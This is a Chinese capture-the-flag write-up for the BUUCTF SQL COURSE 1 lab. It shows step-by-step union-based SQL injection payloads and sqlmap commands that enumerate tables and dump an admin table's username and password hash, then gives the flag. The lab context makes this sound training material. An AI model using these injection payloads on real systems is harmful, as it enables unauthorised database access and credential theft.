BUUCTF BUU SQL COURSE 1
方法一:手工注入
启动靶机

寻找注入点,使用burp抓包得到传参页面

得到注入点    /backend/content_detail.php?id=1
用and 1 =1  和  and 1 =2 判断存在sql注入漏洞


查询字段数   order by 2正常显示  order by 3异常显示  字段数为2


让网页报错测试回显位  /backend/content_detail.php?id=-1 union select 1,2 测得1,2号字段都是回显位

查询数据库名,版本号,用户名
/backend/content_detail.php?id=-1 union select database(),2  得到表名news
/backend/content_detail.php?id=-1 union select version(),2   得到版本10.3.18-MariaDB
/backend/content_detail.php?id=-1 union select user(),2      得到用户root@localhost


//group_get()函数用于回显所有数据
开始sql注入爆破表名  ?id= -1 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'news'  得到表名admin,contens

爆破列名  ?id= -1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'admin'  得到列名 id,username,password

查询username,password  ?id= -1 union select group_concat(username),group_concat(password) from admin

通过用户名密码登录后台   admin   ef885d97427ba814d7d0faa7d574bad9

拿到flag
flag{6b8876b9-a705-4794-b623-f07dec86b58a}
方法二:sqlmap注入
启动靶机得到注入链接  /backend/content_detail.php?id=1
获取当前数据库名称 python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --current-db

获取表名python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --tables -D "news"

获取列名 python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --columns -D "news" -T "admin"

获取username和password值 python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --dump -D "news" -T "admin"  -C "username,password"

登录后台拿到flag
 
                     
                    
                 
                    
                
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号